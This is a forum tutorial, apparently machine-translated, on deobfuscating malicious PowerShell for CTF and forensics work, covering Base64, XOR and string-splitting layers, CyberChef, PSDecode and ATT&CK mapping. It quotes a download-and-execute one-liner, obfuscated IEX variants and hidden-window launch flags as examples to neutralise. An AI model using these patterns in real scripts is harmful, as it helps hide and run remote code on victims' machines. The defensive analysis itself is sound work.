PowerShell deobfuscation: parsing for CTF

Depov

Moderator
Staff member
MODERATOR
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
648
Reaction score
1,350
Deposit
0$
Why would the attackers obfuscate PowerShell

PowerShell is a regular Windows tool, stands on every machine starting with Windows 7. According to the classification MITRE ATT&CK this technique PowerShell (T1059.001, Execution), eh Powershell.exe included in LoLBAS catalog (Living Off The Land Binaries) The attackers take it because he is already in place - nothing to swing.

Obfuscation is the next logical step. The Obfuscated Files or Information (T1027, Defense Evasion) and its Command Obfuscation (T1027.010) and Encrypted/Encoded File (T1027.013) technique describe specific masking techniques: from simple Base64-coding to multi-layered designs, where each level decrypts the following. The doll, in fact.

The motivation of the attacker is simple: the obfussed script bypasses the signature analysis of antiviruses. The line Invoke-WebRequest in the open form is detected, and the same line, broken into [char]-codes - no. The Ingress Tool Transfer (T1105, Command and Control) is often implemented through the Obfused PowerShell, which pulls the main load from the external server.

For the authors of CTF tasks, PowerShell is a convenient object: it allows you to turn an arbitrary number of coding layers, each of which uses the built-in functions of the language. The participant must consistently remove the layers and pull out the payload – URL, flag, or command. Understanding motivation helps with CTF: if you know that the script eventually has to download or execute something, you know what to look for in a deobfuscated result.
PowerShell Obfuscation Techniques: What to Look for in CTF Tasks

Before deobfuscing, you need to understand what is in front of you. There are several sustainable patterns in the tacks and actual incidents. Recognizing them in the eye is the first step that saves time.
Base64 and EncodedCommand parameter

The most frequent first layer is Base64-coding the entire script. PowerShell natively supports executing code through the parameter -EncodedCommand (abbreviated -Enc, -EC or even -e – parser accepts any unique prefix). Characteristics:

A long line of characters A-Za-z0-9+/= after the parameter -Enc
The string contains UTF-16LE encoding: each ASCII symbol is interspersed with a zero byte, so the size of the encoded string is about twice the size of the original
Challenge [System.Convert]::FromBase64String() inside the script is the next level

One Base64 case is usually not limited: the script may contain Base64 inside Base64, with intermediate Invoke-Expression between layers. The patent “coding → decoding → IEX → next level” is repeated as many times as the author of the task considered necessary.
Line Concatenation and character substitution

The second most common method is to divide the commands into fragments:

('Down'+'loadStr'+'ing') instead of DownloadString
[char]73+[char]69+[char]88 instead of IEX
-join arrays of symbols: (-join [char[]](73,69,88))
Line Address: 'xei'[-1..-3] -join '' gives iex
Replacement of symbols: 'hxxp://...'.Replace('xx','tt') restores http://...
Insertion of "junk" symbols followed by removal: ('I{0}E{1}X' -f '','') collected in IEX

These techniques do not encrypt anything – they break the signature search. When deobfucting, it is enough to perform the concatenation, and the string is collected back into the readable view.
XOR and Pobyte Coding

A bigger layer is the XOR. The script contains an array of bytes and a key, each byte XOR-is with a key to obtain the source text. Characteristics:

Arrays of species @(72,101,108,108,111) or 0x48,0x65,0x6C,0x6C,0x6F
Cycle foreach with the operation -bxor
Challenge [System.Text.Encoding]::ASCII.GetString() after conversion

In the CTF XOR key is often short (1–4 bytes) and can be selected automatically. CyberChef will pick up in seconds via brute force. Multi-byte is a frequency analysis on the distribution of symbols in decoded text.
Analysis of malicious PowerShell scripts: three methods of deobfuction

Recognized the patterns - we turn to the analysis of the obfused PowerShell. Three methods, from the safest to the required code.
Replacement IEX with Write-Output

Central method of manual analysis of malicious PowerShell scripts. Works in most CTF scenarios and requires nothing but a text editor.

Logic: The obfused script usually ends in a call Invoke-Expression (or Alias), who takes a decrypted string and executes it as code. Replace IEX on Write-Output – the line will not be executed, but will be displayed in a console in a decrypted form.

# Было (выполняет код):
IEX (New-Object Net.WebClient).DownloadString('http://...')
# Стало (выводит расшифрованный код в консоль):
Write-Output (New-Object Net.WebClient).DownloadString('http://...')
# Что искать в скрипте (Ctrl+H в ISE или редакторе):
# IEX, Invoke-Expression, .Invoke(), | iex, &($x)

Where to look for IEX in an obfussed script - hide it in different ways:

Direct Challenge: IEX, iex, Invoke-Expression
Through the variable: $x = 'IEX'; & $x or & ([scriptblock]::Create($decoded))
Through the pipe: $decoded | IEX
Through .Invoke(): [scriptblock]::Create($decoded).Invoke()
Through the Alias Resolve: & (gcm *ke-E*) $decoded – PowerShell resolvit in Invoke-Expression

In CTF, a multilayer design is more common. The algorithm is iterative: replaced all IEX with Write-Output, launched the script, copied the output. This is the next layer – repeat the replacement and launch. We continue until the conclusion is readable. Each cycle removes one layer of obfuction. For a typical CTF-tack - from two to five iterations.
Variables Dump via PowerShell ISE

The method from the Security Literate blog is the fastest way to decrypt a PowerShell script if it does not contain destructive actions.

The essence: run the script in PowerShell ISE (built-in in Windows) and after running pull all the variables out of memory. The precondition is an isolated Windows virtual machine without network access. Never run suspicious scripts on a work machine. Seriously, even “just look.”

Procedure:

Open PowerShell ISE (powershell_ise.exe)
Insert the obfused script into the top panel
Remove the call powershell.exe and initial parameters (-NoP, -NonI, -W Hidden, -Enc) – leave only the body of the script
Replace all IEX with Write-Output (required before launch)
Launch the script (F5)
In the console at the bottom, execute the variables dump:

# После выполнения скрипта в PowerShell ISE
Get-Variable | Where-Object { $_.Name -notin
('true','false','null','HOME','PID','PSVersionTable') } |
Format-Table Name, Value -AutoSize
# Для вывода содержимого конкретной переменной:
Write-Output $имя_переменной

Filtering of system variables (true, false, HOME) removes noise. The variables defined in the script contain intermediate and final results of deobfuction. In the example of Security Literate when analyzing a malicious document MS Word variable $gazuk contained fully deobfused commands – URLs for downloading and checking virtualization (VMware, VirtualBox, KVM). The script determined whether it works in the sandbox, and when passing the checks, pulled the JavaScript file and the executable file from external servers.

Limitation: If the script immediately performs a destructive action (deleting files, encryption) before writing to the variables, starting in the ISE will cause damage to even the virtual machine. Therefore, replacing IEX with Write-Output is the first step before any launch. No exceptions.
Disassembling the Obsucted PowerShell via CyberChef

CyberChef (GCHQ development) is a universal decoding tool that works in the browser. The main advantage: does not run suspicious code and does not require VM. Open the tab, you work.

Workflow for typical PowerShell payload:

Step 1 – Extraction. If the script is started through powershell.exe -Enc <строка>, copy the line after -Enc. This is Base64 in UTF-16LE.

Step 2 is a recipe. Gather a chain of operations in CyberChef (transplacing blocks into the recipe area):

From Base64 – decodes the first layer
Decode text (UTF-16LE) – converts the unicode into readable text
If the result contains another Base64, add a second one From Base64
Find / Replace with regular expression – remove IEX for safe reading

Step 3 – XOR. If after Base64 you see unreadable bytes, add the operation XOR Brute Force. CyberChef will show the result for each single-byte key – the readable text will be visually visible in the list.

Step 4 – preservation. CyberChef allows you to save the chain of operations in the URL - convenient for documenting a CTF-task solution and for write-up.

Common recipes for CTF:

From Base64 → Decode text (UTF-16LE) → Find/Replace – for -EncodedCommand
From Base64 → Gunzip → Decode text – for compressed payloads with IO.Compression.GZipStream
From Hex → XOR → Decode text – for XOR-encoded blocks
From Charcode (Delimiter: comma) – for arrays [char]

Less CyberChef: It does not process dynamic obfuscation, where the result depends on the intermediate calculations of PowerShell (variables referring to each other, conditional designs). Here already without VM it is necessary.
Script analysis automation in CTF: PSDecode and PowerDecode

When the layers are more than three and the manual replacement of the IEX begins to tire, we connect the automation.

PSDecode – PowerShell module, intercepting calls Invoke-Expression and writing each layer into the log. Installation: Install-Module PSDecode from PowerShell Gallery. Launch: PSDecode <путь_к_скрипту.ps1>. At the outlet - every intermediate result of deobfuction from the first layer to the last. In fact, the same principle as the manual replacement of IEX, but without routine.

PowerDecode is a heavier tool that can handle multiple types of coding at the same time. It recursively removes the layers of Base64, Hex, XOR and brings out the final result. PowerDecode is useful for real incidents where obfuscation is more complicated than a typical CTF.

When automation doesn’t work:

The script uses dynamic keys – the XOR key is generated from the host name or launch date
Obfuscation is built on Add-Type with C#-code inside — PSDecode does not handle built-in C#
The script checks the environment and changes behavior: the presence of a parameter -W Hidden (Hidden Window technique, T1564.003) can influence the logic of execution

In such cases, a return to manual analysis or a PowerShell ISE debugger with breakpoints. Team Set-PSBreakpoint -Script script.ps1 -Line 42 puts the breakpoint on a specific line, after which you can step by step to explore the values of the variables.
Decryption PowerShell script: end-to-end example

Let's look at the typical CTF scenario from the beginning to the flag. The example is conceptual, but the methodology is the same as on real ducks.

Condition: given file artifact.ps1, extracted from memory. Find the format flag CTF{...}.

Step 1 – initial examination. Open the file in the text editor (not in PowerShell!). See the first line: powershell.exe -NoP -NonI -W Hidden -Enc <длинная_строка>. Parameters -NoP (No Profile), -NonI (Non-Interactive), -W Hidden (Hidden Window) are classic malware markers. The script tried to be done secretly. Already interesting.

Step 2 – removing the first layer. Copy the line after -Enc in CyberChef. Recipe: From Base64 → Decode text (UTF-16LE). We get the readable PowerShell code of the second level.

Step 3 – second-level analysis. The result contains a variable $s with another Base64 line. Next is the call chain: [System.Convert]::FromBase64String($s) → creation MemoryStream → unpacking through IO.Compression.GZipStream → reading through StreamReader → the final IEX. The "Base64 + GZip + IEX" is one of the most running in the CTF.

Step 4 – removing the second layer. Pull a line from the variable $s, apply in CyberChef recipe: From Base64 → Gunzip. We get the third level – pure PowerShell without obfuscation.

Step 5 – Extracting the Flag. The third level contains: variable $flag with Base64-line value and call [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($flag)). Decode Base64 from $flag the CyberChef (From Base64) - ready.

The whole process is three iterations: EncodedCommand → GZip → final Base64. At every step one operation. Time is about ten minutes, including documentation.
Executive Sheet-Shell-analysis

Before immersion in deobfuscation, systematic exploration, which determines the choice of method.

Phase 0 – safety: - Only work in an isolated VM without network access - Do not run the script with the original IEX / Invoke-Expression - Make a VM snapshot before the first launch

Phase 1 – visual inspection: - Is there any -Enc / -EncodedCommand in the command line — the sign of Base64 - Are they present [char], -join, -bxor, .Replace() – signs of concatenation and XOR - How many times does it meet IEX / Invoke-Expression / iex - this is the number of layers - Is there any IO.Compression – sign of GZip-compression - Is there any Net.WebClient, Invoke-WebRequest, DownloadString – loading indicators (T1105)

Phase 2 – choice of method: - One layer of Base64 → CyberChef: From Base64 → UTF-16LE - Multiple nested IEX → replacement with Write-Output, iterative - More than three layers → PSDecode - XOR with unknown key → CyberChef XOR Brute Force - Dynamic keys → debag in ISE with Set-PSBreakpoint

Phase 3 – documentation: - Save each intermediate layer: layer1.ps1, layer2.ps1... - Write the CyberChef recipe (URL with parameters) - Fix the final IoC: URL, IP, domain names

Precondition table for each method:
Method VM required Runs the code Processing XOR Multilayer
CyberChef No No Yes (brute force) Manually
IEX → Write-Output Yeah Partially No Iterative
Variables (ISE) Yeah Yeah No Automatically
PSDecode Yeah Partially No Automatically
PowerDecode Yeah Partially Yeah Automatically
MITRE ATT&CK mapping for write-up

If a CTF task requires a forensic report, it’s helpful to smear the detected PowerShell obfuscation techniques on MITRE ATT&CK. For an obfused PowerShell, a typical chain:
Tactics Technique ID Indicator in script
Execution PowerShell T1059.001 Challenge powershell.exe
Defense Evasion Obfuscated Files or Information T1027 Any Obfuction
Defense Evasion Command Obfuscation T1027.010 Concatenation, [char]
Defense Evasion Encrypted/Encoded File T1027.013 Base64, XOR
Defense Evasion Deobfuscate/Decode Files or Information T1140 FromBase64String, GZip
Defense Evasion Hidden Window T1564.003 Parameter -W Hidden
Command and Control Ingress Tool Transfer T1105 DownloadString, WebClient

This table is a ready-made block for write-up. The detection of malicious PowerShell on these indicators is applicable both in the CTF and in the analysis of real incidents.

The vast majority of malware and forensics-class CTFs with PowerShell are solved by three techniques: replacing IEX with Write-Output, CyberChef for Base64/XOR and PSDecode for automation. No reverse at the assembly level is pure methodology. The problem is that beginners spend hours trying to “read” an obfuscated script with their eyes, disassembling each [char]-code manually. This is not analysis, it is masochism.
 
Top Bottom